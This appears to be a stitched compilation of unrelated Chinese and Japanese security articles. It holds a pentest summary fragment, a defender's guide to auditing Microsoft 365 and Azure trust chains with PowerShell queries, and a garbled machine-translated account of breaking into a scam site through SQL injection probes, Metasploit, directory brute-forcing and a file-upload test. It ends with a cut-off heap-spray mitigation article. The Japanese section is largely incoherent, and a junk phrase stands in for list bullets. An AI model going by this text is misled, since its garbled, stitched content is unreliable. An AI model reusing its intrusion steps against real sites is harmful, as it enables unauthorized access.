vSphere漏洞，有的版本存在RCE漏洞，决定尝试一下，发现不存在漏洞 总结1、针对此次内网渗透，我需要抓紧学习免杀相关的知识，目前公开的工具已经不能byAV。 2、kali Linux的proxychains代理在实战无法使用，后面我要去寻找原因。 3、fscan扫描出内网一些网站，我没有做深入的测试，因为时间确实不够了。 原文链接： https://xz.aliyun.com/t/12141

在微軟最近的一篇文章中，他們介紹了最新的安全保護策略以保護用戶免受NOBELIUM活動的影響，該活動針對的是技術服務提供商。 早在5 月，微軟就認定有俄羅斯背景的NOBELIUM 黑客組織要對持續數月的SolarWinds 網絡攻擊事件負責，並同企業、政府和執法機構達成了合作，以遏制此類網絡攻擊的負面影響。早些時候，微軟更進一步地剖析了NOBELIUM 使用的一套更加複雜的惡意軟件傳送方法。可知其用於造成破壞，並獲得“HTML Smuggling”系統的訪問權。微軟表示，HTML Smuggling 是一種利用合法HTML5 和JavaScript 功能、以高度規避安全系統檢測的惡意軟件傳送技術。近年來，這項技術已被越來越多地用於部署網銀惡意軟件、遠程訪問木馬（RAT）、以及其它有針對性的釣魚郵件活動。 Microsoft 365 和Microsoft Azure 中存在多種類型的信任鏈，包括委派管理權限(DAP)、Azure 代表管理員(AOBO)、Microsoft Azure Active Directory (Azure AD) 企業對企業(B2B) 、多租戶Azure AD 應用程序以及客戶用戶。其中許多信任鏈可以授予對Azure 資源和Microsoft 365 的高級訪問權限，這需要密切監視。 委託管理特權DAP是一種方法，通過它，服務提供商可以管理Microsoft 365環境，而不需要維護本地身份。 DAP 對服務提供商和最終客戶都有好處，因為它允許服務提供商使用他們自己的身份和安全策略管理下游租戶。 使用DAP的服務提供商可以在Microsoft 365管理中心通過導航到“設置”，然後到“合作夥伴關係”來識別。在合作夥伴關係中，你可以查看與租戶建立計費關係的所有服務提供商的列表，以及服務提供商是否分配了任何角色。 將DAP 識別為下游客戶 雖然終端客戶無法看到服務提供商租戶中所有可以對最終客戶租戶進行管理更改的用戶的列表，但他們可以通過查看Azure Active Directory 登錄日誌來查看服務提供商的登錄並過濾服務提供商的跨租戶訪問類型。可以通過單擊“下載”導出結果，並利用這些結果進一步針對Azure 和Microsoft 365 進行分類。 服務提供商的登錄 AzureAOBOAzure AOBO在本質上類似於DAP，儘管訪問的範圍僅限於針對個人Azure訂閱和資源的Azure資源管理器(ARM)角色分配，以及Azure Key Vault訪問策略。 Azure AOBO帶來了與DAP類似的管理效益。 要全面評估你訂閱中的AOBO權限，請確保已授予全局管理員訪問權限，後者將評估服務提供商對每個租戶中的所有訂閱的訪問權限。 Azure AOBO訪問是在創建訂閱時添加的，可以在給定Azure訂閱的訪問控制(IAM)中看到。 如果你有多個訂閱，請考慮運行以下命令來識別服務提供商可能訪問資源的訂閱: Get-AzSubscription|%{Set-AzContext-Subscription$_;Get-AzRoleAssignment-Scope'/subscriptions/$($_.Id)'|Where-Object{$_.DisplayName-like'ForeignPrincipalfor*inRole'TenantAdmins'(*)'}|SelectDisplayName,Scope|Format-Table}也可以授予csp直接訪問Key Vault的權限。下面的PowerShell命令可以用來識別允許通過AOBO訪問的訪問策略Key vault: Get-AzKeyVault|%{$vault=Get-AzKeyVault-VaultName$_.VaultName;if($vault.AccessPolicies|Where-Object{$_.DisplayName-like'ForeignPrincipalfor'*'inrole'TenantAdmins'(*)'}){$vault|selectVaultName,ResourceId|Format-Table}}除了上述命令之外，Azure Red Team工具Stormspotter也可以用於大型環境。 從前面的步驟中收集的信息將用於在分類期間進行日誌審查。 Azure AD B2BAzure AD B2B帳戶(客戶)可用於管理Azure和Microsoft 365資源。這種管理訪問方法利用了另一個租戶中的個人現有身份，由於對身份控制的限制，Microsoft通常不推薦這種方法。調查人員應注意授予客戶訪問Microsoft 365 中資源的多種方式，其中可能包括Exchange Online 角色和SharePoint Online 角色。 Azure訂閱為了全面評估你的訂閱中的B2B權限，請確保你已授予用戶訪問權限，這些用戶將根據以下指導評估服務提供商對每個租戶中所有訂閱的訪問：提升訪問權限以管理所有Azure 訂閱和管理組。 授予Azure 角色的Azure AD B2B 身份顯示在Azure 門戶的訪問控制邊欄選項卡中。 在訂閱中具有所有者角色的客戶用戶 可以使用以下命令系統地識別Azure AD B2B 身份，該命令將生成可用於定位初始分類的身份和資源列表。 Get-AzSubscription|%{Set-AzContext-Subscription$_;Get-AzRoleAssignment-Scope'/subscriptions/$($_.Id)'|Where-Object{$_.SignInName-like'*#EXT#@*'}|SelectDisplayName,SignInName,Scope|Format-Table}.Microsoft 365 (Azure AD)可以在Azure AD 特權身份管理邊欄選項卡的分配邊欄選項卡中查看已在Azure AD 中授予角色的Azure AD B2B 身份。過濾“#EXT#”將允許你查看分配給管理角色的所有訪客用戶。 過濾客戶用戶 下面的PowerShell還可以用於識別具有管理角色的客戶帳戶。這些身份信息將用於幫助目標分類。 Get-AzureADDirectoryRole|Get-AzureADDirectoryRoleMember|Where-Object{$_.UserPrincipalName-like'*#EXT#@*'}.調查信任鏈在Microsoft 365和Microsoft Azure中，通過信任鏈的活動可以看到多個活動，包括Azure AD審計日誌、Azure activity日誌、Intune審計日誌和統一審計日誌。使用在“識別”階段收集的數據，可以執行有針對性的日誌檢查，以識別信任鏈濫用。應審查每個日誌的來自信任鏈的活動，特別是重點關注促進持久性、數據收集和偵察的活動。 Azure AD攻擊者通常會使用各種方法來建立持久性，這些方法包括創建新的服務主體、向現有應用程序註冊中添加新的秘密、服務主體、創建新的特權用戶以及接管現有的特權帳戶。你可以通過查看Azure AD 審核日誌並篩選在“識別”階段識別為最近登錄的用戶，來識別通過信任鏈對Azure AD 所做的修改，比如： 密碼重置； 修改服務主體； 將用戶添加到特權角色； 對多因素身份驗證(MFA)的更改； 創建新用戶； 統一審計日誌統一審核日誌可用於識別通過SharePoint Online、Exchange Online、Azure AD 和其他Microsoft 365 產品中的信任鏈執行的活動。 統一審核日誌從Azure AD 和Office 365 中提取數據並將這些數據保留至少90 天，使其成為非常有價值的集中信息來源，如果應用E5 許可證，此數據將保留1 年，使用高級審計的最長可配置保留期為10 年。 Search-UnifiedAuditLog cmdlet 可用於搜索在“識別”階段識別的用戶執行的操作。或者，可以使用Microsoft 365 Defender 門戶中的GUI 搜索日誌。 Azure活動攻擊者對Azure資源的訪問使他們能夠竊取數據並橫向移動到連接到目標Azure環境的其他環境。有權訪問訂閱的攻擊者可以部署新資源、通過虛擬機擴展訪問現有資源，或者直接從Azure 訂閱中竊取數據和密鑰。對Azure資源的訪問和操作可以通過檢查每個訂閱中存在的Azure Activity日誌進行審計。 微軟終端管理器 攻擊者可能通過各種信任鏈訪問Microsoft終端管理器，由於Microsoft終端管理器管理設備的配置，因此它是另一個需要查看的重要審核日誌。可以在微軟終端管理器門戶的租戶管理邊欄選項卡下訪問微軟終端管理器審核日誌。在審計日誌中，啟動器“Partner”可用於過濾由Partner發起的操作。在“身份識別”階段被識別為具有特權的客戶用戶所採取的操作將需要通過用戶主體名稱進行搜索。應該檢查這些日誌事件，以確保沒有通過識別的信任鏈發生惡意活動。 緩解措施如果在調查過程中發現並確認惡意活動或發現不需要的和過度放任的信任鏈，則應採取果斷措施阻止或最小化訪問。根據信任鏈的類型，可能需要採取不同的步驟來阻止訪問。在任何正在進行的調查結束之前，不建議完全刪除工件；刪除某些工件可能會延遲或增加完成調查的難度。客戶應該與他們的服務提供商交流以了解他們有哪些保護措施，並且在發生潛在惡意活動時，通知他們的服務提供商以獲得他們在活動驗證方面的幫助。 委託管理權限如果服務提供商對租戶的日常活動管理不需要DAP，則應該刪除它。在某些情況下，需要權限以方便服務提供商的管理。在這些情況下，微軟將引入細粒度的委派管理員權限(GDAP)，這將允許合作夥伴控制對其客戶工作負載的更細粒度和有時間限制的訪問。 微軟建議服務提供商利用客戶租戶中的命名帳戶來降低風險。如果存在來自服務提供商關係的攻擊證據，建議至少在調查結束之前從關係中刪除被委派的管理員權限。 要刪除委託的管理員權限，請在Microsoft 365管理中心導航到“設置”，然後到“合作夥伴關係”。在夥伴關係中，點擊該關係，然後在詳細信息選項中選擇“刪除角色”。採取此操作將阻止服務提供商以全局管理員或幫助台管理員的身份訪問租戶。刪除此訪問權限不會更改或更改當前通過服務提供商購買的計費關係或許可證。 AzureAOBO如果Azure 訂閱的有效日常管理不需要Azure AOBO 訪問權限，則應刪除它。如果服務提供商需要訪問Azure 訂閱，則應該通過添加具有適當角色和權限的外部主體來應用最小權限。如果有證據表明來自服務提供商的攻擊，那麼應該從每個Azure訂閱中刪除外部主體。 可以利用Azure 策略監控通過AOBO 授予的權限。你可以在Tenant Root Group部署Azure 策略，如果將外部主體的權限分配給Azure中的資源，則該策略將引發不合規。雖然Azure 策略不能阻止使用外國主體創建訂閱，但它簡化了關於訂閱存在的報告，並允許在需要時自動刪除或阻止創建。 可以通過導航到受影響訂閱上的訪問控制(IAM) 邊欄選項卡，為服務提供商選擇外部主體，然後刪除Azure AOBO 權限 刪除外部主體的Azure AOBO 權限 安全檢測日誌記錄的集中可用性對於響應和調查潛在事件至關重要，並且是此類DART 調查的首要障礙。如果組織正在監控其云環境的特權訪問和管理更改，則應該可以發現並警告涉及授權管理特權濫用的惡意活動。 應將雲活動日誌提取到安全信息和事件管理器(SIEM) 中並保留以供分析。包括： Office 365 統一審核日誌； Azure AD 管理員審核日誌和登錄日誌； Microsoft終端管理器審計日誌。 可以利用Azure活動日誌和特定的數據平面日誌(如Azure Key Vault和Storage Azure 策略)來強制執行一致的日誌標準。 作為事件響應者，當有數量和質量都豐富的可用數據時，DART 最有效。一種感興趣的日誌類型是登錄日誌；身份事件可以告訴我們很多關於攻擊活動的信息。通常可以在這些日誌中識別模式，這些模式可以像IP 地址匹配一樣簡單，也可以像UserAgent 字符串、時間和應用程序ID 匹配一樣複雜。 話雖如此，最關鍵的日誌記錄是管理活動的日誌記錄。管理帳戶的任何使用或執行的操作都非常重要，應受到監控，在企業環境中，大多數更改通常是在批准的更改窗口期間進行的，應評估此範圍之外的更改的有效性和完整性。 日誌本身是很有用的，但對於及時顯示不尋常或惡意活動，警報是至關重要的。 Microsoft 365 Defender 門戶有一些有用的內置警報來識別可疑活動。比如： 提升Exchange管理權限； 啟動或導出eDiscovery搜索； 創建轉發或重定向規則； 還可以創建自定義警報以提醒其他類型的活動，另一個比較好用的警報工具是Microsoft Defender for Cloud Apps（以前稱為Microsoft Cloud App Security）。此工具可以從Azure AD、Office 365、Azure、Defender for Endpoint、Defender for Identity 以及許多第三方服務中提取數據。策略引擎可用於基於內置模板或自定義定義創建警報策略。以下是一些模板化策略的例子： 來自非公司IP地址的管理活動； 可疑的管理活動； 向OAuth應用程序添加可疑憑證； 可疑的OAuth應用程序文件下載活動； 多個虛擬機創建活動； 微軟安全建議微軟建議客戶定期與服務提供商進行交流，以了解為訪問其租戶設置的安全控制。應該密切監視服務提供商對資源的訪問，如果一段時間未使用，則應按照嚴格的最低權限流程進行刪除。 保護管理訪問的一些具體方法包括使用即時管理解決方案，例如特權身份管理，包括定期審查管理員以確保仍然需要他們的訪問。 MFA 也很關鍵，不僅是啟用MFA，還要確保所有管理員都註冊了MFA 方法。

これは長くてダウンしている話です。友達、そこに座って、あなた自身の軽食を持ってきてください。全文には、情報収集と征服の詳細なプロセス、およびこのタイプの詐欺のアイデアの分析と分解が含まれており、予防意識を向上させます。 0x00夢の始まり 晴れた午後でした。毎日のレンガ造りのプロセス中に会社のメールを受け取りました。 この馴染みのある言葉遣いを見て、私は下の愛着をちらっと見て、おなじみの息が私の顔に来てそれを保存しました。 その後、管理者はすぐに何かが間違っていることを発見し、従業員のアカウントが盗まれたというメッセージを送信しました。メールのコンテンツを簡単に信用しないでください。元の電子メールはスパムとしてもマークされていました（最後に同様のメールが突然削除され、それが始まる前に問題が終了しました。今回は逃げられませんでした（￣_、￣）。 そして、この写真はすべての夢が始まったところになりました. 0x01情報収集 0x001レビュードメイン名 開始情報は非常に限られています。最初の写真はプロットであり、プロットはすべて推測に基づいていますが、このエントリで十分です。 QRコードの情報を分析するために男を取り出しましょう。 追加のデータはなく、Webページのリンクの文字列のみがあります。ドメイン名を見ると、口の隅が少し上昇します。最初にドメイン名を分析します： 記事が書かれるまでドメイン名を解析することはできず、修正は非常に高速でした。幸いなことに、以前にバックアップがあり、ドメイン名は絶えず変更されました。 CDNを使用していることはわからず、すべてのトラフィックがソースステーションにありました。私はそれをチェックしました、そしてそれは香港のサーバーでした： 次に、関連情報を収集するために： 予想どおり、それは追加の有用な情報を使用しない3人のパーティー登録機関ですが、登録時間は非常に興味深いものです。今月、詐欺師は非常に速く動いています。次回は、彼らは相手のウェブサイトに行くためにしか見ることができません。 再び西部のデジタルで、少し人気があるようです。ウェブサイトはプライバシー保護メカニズムを提供し、登録情報は一般に公開されておらず、当面は有用な情報を取得することはできません。 0x002レビューIP 今の手がかりは、以前に解析されたIPです。まず一歩一歩進んで、ポートサービスをスキャンして、より多くの情報を収集します。 はい、大丈夫です。私はいくつかの馴染みのある数字を見て、プロセスに従い続け、デフォルトのスクリプトを下ってポートサービス情報を分析しました。 匿名のFTPを検出することはなく、HTTPはトレースをサポートし、httponlyが設定されておらず、XSSを実行する機会があるため、最初に小さなノートを書き留めます。次に、古いルールは最初にデフォルトの辞書の方向ブラストであり、それでも試してみる必要があります。 残りのすべてのポートを試してみましたが、予想通り、あまり得られませんでした。私はまだ基本的なパスワード強度の認識を持っているようです。さらに、以前のスキャン、ポート8888が表示されました。これは、サーバー管理ツールのパゴダパネルのデフォルトのバックグラウンド入り口であることを忘れないでください。試してみてください： エントリ検証がありますが、少なくともそれが実際にパゴダパネルであることを証明しています。ただし、この爆発は不可能です。エントリURLの接尾辞は、デフォルトでは、上限と小文字の文字と数字の約8桁であり、これは8の電力から約20兆のパワーであり、かなりaldげています。後で言いましょう。次に、他の方向に移動し続けます。 0x003レビューページ それらはすべてここにあります。コードをスキャンすることはページへのジャンプへのリンクであり、ポートも80と443を開いているため、もちろん、KangkangにアクセスするためにWebページを開く必要があります。同時に、開発者ツールを開いて小さなアクションがあるかどうかを確認する必要があります。 ああ、それはモデルも認識します。これはユーザーが非常に明確であるため、モバイル端末にカットして見てみましょう。 emmm .それを言う方法、それはとてもいい匂いがする。一見することはできません。私はそれを非常に模倣しています（しかし、私は本当に勇敢で、政府のウェブサイトでそれをやっています）。次に、インターフェイスによって返されたヘッダー情報を見て、Windows IIS 7.5 + ASP.NETサービスが使用されていることがわかりました。 これを最初に覚えておいてください、後で抜け穴を掘り出すことは役に立ちます。インタビューの後、私はページが空であることがわかりました、そして、加工の入り口のポップアップウィンドウのみがジャンプできることがわかりました。ジャンプページは次のとおりです。 説明は非常に完全であるため、誰もが正しい番号を取得できるようにします。今すぐ申請するにはここをクリックしてください： 次に、最初に名前とID番号を使用して、個人情報を収集するためのワンストップサービスが開始されました。さらに、その隣に表示されるロードされたPNGヘッダー画像の名前に注意してください。ええと、これは開発者からのクレイジーなヒントですか？ここで情報を入力してチェックすることができます。 実際に検証があります。ブレークポイントをクリックして、ソースコードロジックを確認してください。 完全に完了する数字を確認するのは本当に面倒ですが、フロントエンドの検証はすべて紙のトラであるため、ここで民俗救済は必要ありません。ソースコード編集および開発者ツールの関数を上書きするだけで、検証関数に直接trueを返します。 次に、確認して次のステップに進みます。 銀行のカード番号とパスワード、携帯電話番号を収集することです。悲しいかな、意図は非常に明白です。お金を転送して相手のパスワードを転送する必要はありません。また、何気なく記入するためのものです。同じ方法を使用して銀行カードの確認をバイパスしますが、読み込まれたスクリプトファイルの1つで興味深いものが見つかりました。 開発者は、ソースコードのデバッグデータを削除することさえありません。 Alibaba Pay Interfaceは、相手のデバッグアカウントを使用するために使用されます（開発者として、生産環境でコードコメントを削除することの重要性=_=）： 次に、次のページを入力して、名前とID番号、および銀行カードの残高を再度収集しました（ここでは、ユーザーの実際の状況やその他の未知の操作の調査です）。予想どおり、私はここに嘘をつく勇気さえありませんでした。 T_T、すぐに記入して、次のステップに進みます。 その後、ページはロードされ、継続的に更新され、他のジャンプはありません。詐欺師が動作する時間を提供することです。その後、Webページの関連する操作は、当面の間終了します。いくつかの操作手順を大まかに理解してから、他の方向を探ります。 0x02脆弱性マイニング 0x001 SQL注入 情報コレクションはほぼ完成しているので、1つずつ壊してみましょう。最もよく知られているWebページから始めます。前のページを確認する際には、多くの提出フォームと入力ボックスがあります。これは潜在的なブレークスルーポイントです。どの鉱業技術が優れているか、まず魔法のアーティファクトのげっぷを使用し、銀行カード番号とパスワードの以前の提出のフォームデータを傍受します。 次に、エラーメッセージを確認するために簡単な注入を試みます。 応答はありません。基本的な検証があり、それを変更する必要があります。 反応があり、希望を見たように見えました。返品は文字化けしていますが、相手のプログラムがそれを処理する問題であるはずです。しかし、文の構造を見ると、SQLエラーが報告されたようで、それらのいくつかを連続して試してみましたが、同じリターンも返されました。それでは、残りの複雑な作業をツールに任せ、SQLMapを取り出して実行しましょう。 数ラウンドのパラメーターの後、私は成功しませんでした。フィルタリングメカニズムは比較的思慮深い必要があります。次に、別のページをテストしたとき、エラーメッセージの元の意味を発見しました。 まあ、私はまだ若すぎます、私は間違っているでしょう。プログラムは、フィールド値のSQLキーワードを特定する必要があります。さらに、以前にスキャンされたサービスには、トレース関連の脆弱性が含まれている可能性があることを思い出します。テスト後、サーバーはまだサポートされていないはずです。 それから私はもう一度それについて考えました。パスワードフィールドのデータベーステーブルフィールドを設計するときは、銀行カードのパスワードであり、誰もが6桁の数字であることを知っているため、スペース占領を減らすために低い文字桁の特性を考慮する必要があります。驚きがあるかどうかを確認するための大きな数字があります： 恥ずかしさは驚きのためです。特別な治療がなく、サーバー側のエラーとして直接報告されるためであるべきです。私は次々といくつかのページを変更しましたが、テスト後に大きな利益はありませんでした。シーンはかつて行き詰まっていたので、私は一時的に戦場に移動することができました。 0x002メタプロイト浸透 がついにMetasploitに来て、準備ができています、 IISの既知の脆弱性を最初に検索します。 たくさんあるので、最初にいくつかのマッチング条件を試してみましょう。私はあなたにここで例を挙げているので、私はそれらを1つずつ見せません： 次に、他のいくつかのポートとサービスがあり、1つずつテストされましたが、突破口はありませんでした。パッチはすべて非常に完全だったようです。現在、それは一時的に行き止まりに閉じ込められています。 MSFに使用するモジュールはまだたくさんありますが、まだ行われていない別の重要なことがあると思います。 0x003サイトディレクトリの列挙 サイトディレクトリスキャン、この重要なことはどのように欠けているのでしょうか？ Dirbusterなど、多くのツールから選択するツールがあります。ここでは、Burp Suiteのエンゲージメントツールでディスカバリーコンテンツツールを使用して、ディレクトリブラストを実行します。 多数の内蔵辞書では使用するのに十分ですが、ネットワークリクエストが含まれ、プロセスも非常に長いです。ただし、バックグラウンドで実行でき、他のものには影響しません。これがスキャンの結果です： いい人と呼んでください！スキャンしなかったかどうかはわかりませんでした。出てきてショックを受けました。私は非常に多くの隠された入り口を逃しました。最初にノートを書き留めて、1つずつ探索しました。ただし、私のビジョンは、upload.aspと呼ばれるファイルにロックされずにはいられませんでした。開発者からそのような明白なヒントを言う必要はありませんでした（ヨ（▔、▔）ㄏ）。 直接アクセスするときに返品データはありませんが、メソッドが間違っているためですか？それを変更してフォームファイルデータを投稿し、再試行してください。 この方法でアップロードするのは役に立たないようです。追加の検証パラメーターなどが必要です。これまで見たことのないページをたくさんスキャンしました。今、私は戻ってページのソースコードを1つずつ分析します。 案の定、ページの1つでは、このアップロードインターフェイスを呼び出すフォームが見つかりました。これは隠された要素です。ページコンテンツと組み合わせることで、ユーザーがアップロードした特定のドキュメント情報、IDカードの写真などを収集するために使用する必要があります。その後、対応するJSソースコードを見て、実際にチェックサムインターフェイスパラメーターがあります。 ここでこれらの機能を分析して呼び出して、ファイルをアップロードすることは難しすぎます。これは隠された形ではありません。コードを直接変更してUI（¬‿¬）を介して操作するのはとても簡単です。 少しシンプルに見えますが、実行するのに十分かどうかは関係ありません。ファイルをアップロードするだけです： その後、もう一度アクセスして効果を確認してください。 なんて男だ、それはエキサイティングだ！私の口の角は再び少し上昇しますが、最初に落ち着いてから、ファイルタイプの確認があるかどうかを確認してみてください。このサービスはASP.NETなので、ASPプログラムを渡すだけです。次のコードは、ページ上のサービスの名前を実行します。 ％respons.write（request.servervariables（ 'server_software'））％ 次に、アップロードしてチェックしてください。 これ.他に何が言うことができますか？沈黙は現時点では音よりも優れていますが、これは終わりではありません。これはただの良い出発点であり、すべてが始まったばかりです（¬‿¬）。 0x004予期しない収穫 実際、Webサイトディレクトリには、Jieliuziと呼ばれる別の非常に興味深いディレクトリがあります。私は中国のピンインの命名が好きなオブジェクト開発者の習慣を理解しましたが、この意味は理解されていません。推測と入力の方法さえ理解していません。詳細を調べた後、私も入って見つけました=_=。中国の文化は本当に深いです。何があっても、ページアクセスの結果を見てください： これは非常に簡潔なログインページであり、実際にはPCサイトページです。詐欺師はいくつかの面で非常にロマンチックです。ここで表示されない理由は、全体像がエキサイティングすぎるためです（このログインボックスは本当に白です）、レビューに合格できないのではないかと心配しています。さらに、このページの上部にあるタイトル名に注意を払ってください。最初の反応は、それが単純な文字通りの意味であってはならず、良い言葉のように聞こえないことです。私はこれのために特別にバイドゥに行きました：

為您的軟件建立強大的安全性至關重要。惡意行為者不斷使用各種類型的惡意軟件和網絡安全攻擊來破壞所有平台上的應用程序。您需要了解最常見的攻擊並找到緩解它們的方法。 本文不是關於堆溢出或堆利用的教程。在其中，我們探討了允許攻擊者利用應用程序中的漏洞並執行惡意代碼的堆噴射技術。我們定義什麼是堆噴射，探索它的工作原理，並展示如何保護您的應用程序免受它的影響。 什麼是堆噴射技術，它是如何工作的？堆噴射是一種用於促進執行任意代碼的漏洞利用技術。這個想法是在目標應用程序中的可預測地址上提供一個shellcode，以便使用漏洞執行這個shellcode。該技術是由稱為heap spray的漏洞利用源代碼的一部分實現的。 在實現動態內存管理器時，開發人員面臨許多挑戰，包括堆碎片。一個常見的解決方案是以固定大小的塊分配內存。通常，堆管理器對塊的大小以及分配這些塊的一個或多個保留池有自己的偏好。堆噴射使目標進程連續地逐塊分配所需內容的內存，依靠將shellcode 放置在所需地址的分配之一（不檢查任何條件）。 堆噴射本身不會利用任何安全問題，但它可用於使現有漏洞更容易被利用。 必須了解攻擊者如何使用堆噴射技術來了解如何緩解它。以下是普通攻擊的樣子： 堆噴射如何影響進程內存 堆噴射攻擊有兩個主要階段： 1.內存分配階段。一些流連續分配大量具有相同內容的固定大小的內存塊。 2.執行階段。這些堆分配之一接收對進程內存的控制。 如您所見，堆噴射漏洞利用技術看起來像連續的垃圾郵件，形式為大小相同且內容相同的塊。如果堆噴射攻擊成功，控制權將傳遞給這些塊之一。 為了執行這種攻擊，惡意行為者需要有機會在目標進程中分配大量所需大小的內存，並用相同的內容填充這些分配。這個要求可能看起來過於大膽，但最常見的堆噴射攻擊案例包括破壞Web 應用程序漏洞。任何支持腳本語言的應用程序（例如，帶有Visual Basic 的Microsoft Office）都是堆噴射攻擊的潛在受害者。 因此，在一個流的上下文中預期攻擊是有意義的，因為腳本通常在單個流中執行。 但是，攻擊者不僅可以使用腳本語言執行堆噴射攻擊。其他方法包括將圖像文件加載到進程中，並通過使用HTML5 引入的技術以非常高的分配粒度噴射堆。 這裡的問題是哪個階段可疑，我們可以乾預並試圖弄清楚是否存在正在進行的攻擊？ 內存分配階段，當一些流填滿大量內存時，已經很可疑了。但是，您應該問自己是否可能存在誤報。例如，您的應用程序中可能存在確實在一個循環中分配內存的腳本或代碼，例如數組或特殊內存池。當然，腳本在完全相同的堆塊中分配內存的可能性很小。但是，它仍然不是堆噴射的關鍵要求。 相反，您應該注意執行階段，因為分析接收進程內存控制權的堆分配總是有意義的。因此，我們的分析將特別關注包含潛在shellcode 的分配內存。 為了將堆噴射shellcode 的執行與普通JIT代碼生成區分開來，您可以分析分配某個內存塊的最新流分配，包括流中的相鄰分配。請注意，堆中的內存始終分配有執行權限，這允許攻擊者使用堆噴射技術。 堆噴射緩解基礎知識為了成功緩解堆噴射攻擊，我們需要管理接收內存控制的過程，應用鉤子，並使用額外的安全機制。 保護您的應用程序免受堆噴射執行的三個步驟是： 1.攔截NtAllocateVirtualMemory調用 2.在嘗試分配可執行內存期間使其無法執行 3.註冊結構化異常處理程序(SEH) 以處理由於執行不可執行內存而發生的異常 現在讓我們詳細探討每個步驟。 接收對內存的控制我們既需要監控目標進程如何分配內存，又需要檢測動態分配內存的執行情況。後者假設在堆噴射期間分配的內存具有執行權限。如果數據執行保護( DEP ) 處於活動狀態（對於x64，默認情況下始終處於活動狀態）並且嘗試執行沒有執行權限分配的內存，則會生成異常訪問衝突。 惡意shellcode 可以預期在沒有DEP 的應用程序中執行（這不太可能），或者使用腳本引擎在默認情況下具有執行權限的堆中分配內存。 我們可以通過攔截可執行內存的分配並以分配它的漏洞無法察覺的方式使其不可執行來防止惡意代碼的執行。因此，當漏洞利用認為噴射是安全的執行並嘗試將控制權委託給噴射的堆時，將觸發系統異常。然後，我們可以分析這個系統異常。 首先，讓我們從用戶模式進程的角度來探索Windows 中的內存工作是什麼樣的。以下是通常分配大量內存的方式： 在哪裡： 马云惹不起马云 HeapAlloc和RtlAllocateHeap是從堆中分配一塊內存的函數。 马云惹不起马云NtAllocateVirtualMemory是一個低級函數，它是NTDLL 的一部分，不應直接調用。 马云惹不起马云sysenter是用於切換到內核模式的處理器指令。 如果我們設法替換NtAllocateVirtualMemory，我們將能夠攔截進程內存中的堆分配流量。 應用掛鉤為了攔截目標函數NtAllocateVirtualMemory的執行，我們將使用mhook 庫。您可以選擇原始庫或改進版本。 使用mhook 庫很容易：您需要創建一個與目標函數具有相同簽名的鉤子，並通過調用Mhook_SetHook來實現它。鉤子是通過在函數體上使用jmp指令覆蓋函數prolog來實現的。如果您已經使用過鉤子，那麼您應該沒有任何困難。 安全機制有兩種安全機制可以幫助我們緩解堆噴射攻擊：數據執行預防和結構化異常處理。 結構化異常處理或SEH是一種特定於Windows 操作系統的錯誤處理機制。當發生錯誤（例如，除以零）時，應用程序的控制權被重定向到內核，內核會找到一系列處理程序並逐個調用它們，直到其中一個處理程序將異常標記為“已處理”。通常，內核將允許流程從檢測到錯誤的那一刻起繼續執行。 從進程的角度來看，DEP 看起來像是在內存執行時出現EXCEPTION_ACCESS_VIOLATION 錯誤代碼的SEH 異常。 對於x86 應用程序，我們有兩個陷阱： DEP可以在系統參數中關閉。 马云惹不起马云 指向處理程序列表的指針存儲在堆棧中，它提供了兩個潛在的攻擊向量：處理程序指示器覆蓋和堆棧替換。 马云惹不起马云 在x64 應用程序中，不會出現這些問題。 防止堆噴射攻擊現在，讓我們開始練習。為了減輕堆噴射攻擊，我們將採取以下步驟： 1.形成分配歷史 2.檢測shellcode 執行 3.檢測噴霧 形成分配歷史為了攔截動態分配內存的執行，我們將PAGE_EXECUTE_READWRITE 標誌更改為PAGE_READWRITE。 讓我們創建一個結構來保存分配： 接下來，我們將為NtAllocateVirtualMemory定義一個鉤子。此掛鉤將重置PAGE_EXECUTE_READWRITE 標誌並保存已重置標誌的分配： 一旦我們設置了鉤子，任何帶有PAGE_EXECUTE_READWRITE 位的內存分配都會被修改。當試圖將控制權傳遞給該內存時，處理器將生成一個我們可以檢測和分析的異常。 在本文中，我們忽略了多線程問題。然而，在現實生活中，最好單獨存儲每個流的分配，因為shellcode 執行預計是單線程的。 檢測shellcode 執行現在，我們將為SEH 註冊一個處理程序。這就是這個處理程序通常的工作方式： 1.提取觸發異常的指令的地址。如果此地址屬於我們保存的區域之一，則此異常已由我們的操作觸發。否則，我們可以跳過它，讓系統繼續搜索相關的處理程序。 2.搜索堆噴射。如果動態分配的內存被可疑執行，我們必須對檢測到的攻擊做出反應。否則，我們需要恢復原樣，以便應用程序可以繼續工作。 3.使用NtProtect函數(PAGE_EXECUTE_READWRITE)恢復區域的原始參數。 4.將控制權交還給工藝流程。 下面是一個shellcode 檢測的代碼示例： 目前，我們有一種機制可以監控應用程序中的shellcode，並可以檢測其執行時刻。在現實生活中，我們需要再執行兩個步驟： 马云惹不起马云 攔截NtProtectVirtualMemory和NtFreeVirtualMemory函數。否則，我們將沒有機會監控進程內存的相關狀態。這是一個碎片問題：我們需要存儲和更新進程的可執行內存的映射，這是一項不平凡的任務。例如，我們的應用程序可以使用NtFree函數釋放我們保存區域中間的部分頁面，或者將它們的標誌更改為NtProtect。我們需要跟踪和監控此類案件。 马云惹不起马云使用Execute 分析所有可能的標誌（一組允許我們執行內存內容的可能值），例如PAGE_EXECUTE_WRITECOPY 標誌。 檢測堆噴射使用上面的代碼，我們在動態內存執行時停止了一個應用程序，並獲得了最新分配的歷史記錄。我們將使用這些信息來確定我們的應用程序是否受到攻擊。讓我們探索一下我們的堆噴射檢測技術的兩個步驟： 马云惹不起马云首先，我們需要確定我們將存儲多少分配以及在發生異常時我們將分析其中的多少。請注意，我們對相同大小的分配感興趣。因此，如果流中的內存以不同的大小分配，我們可以允許流繼續執行，因為這不太可能是堆噴射攻擊。此外，在分配邊界之間存在空間的情況下，我們可以排除堆噴射攻擊的可能性，因為堆噴射意味著連續的內存分配。 马云惹不起马云接下來，我們需要選擇堆噴射檢測的標準。檢測堆噴射的一種有效方法是在內存分配中搜索相同的內容。這個重複的內容很可能是shellcode的副本。例如，假設我們有10,000 個分配具有相同數據的相同位移。在這種情況下，最好從接收控制的當前分配的位移開始搜索。 用於識別堆噴射的建議算法 我們建議使用所描述的技術並註意以下四個標準，以排除可能會顯著減慢您的應用程序的不必要檢查： 1.為每個線程定義已保存的內存分配數量。 2.設置已保存內存分配的最小大小。攔截大小為一頁的分配將導致不合理地節省內存。堆噴射通常使用為某個應用程序的特定堆管理器選擇的巨大值進行操作。數十頁和數百頁似乎更相關。 3.定義發生異常時將分析的最新分配數。如果我們處理過多的分配，它會降低應用程序的效率，因為對於動態內存的每次執行，我們都必須讀取大區域的內容。 4.設置shellcode 